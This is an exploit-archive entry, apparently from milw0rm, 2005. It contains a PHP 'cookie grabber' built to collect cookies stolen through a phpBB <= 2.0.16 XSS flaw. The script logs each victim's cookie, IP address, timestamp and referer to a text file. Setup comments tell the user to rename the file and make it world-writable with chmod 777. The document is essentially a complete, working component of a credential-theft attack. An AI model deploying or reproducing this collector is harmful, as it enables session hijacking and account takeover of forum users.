# phpBB <= 2.0.16 XSS Remote Cookie Disclosure Exploit (cookie grabber)

# to be used with exploit: http://www.milw0rm.com/id.php?id=1095 /str0ke

//
// suBzero@kisobox.com  http://Kisobox.com

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>

//rename it to cookies.php and create one new file steal.php and chmod it to 777

# milw0rm.com [2005-07-13]
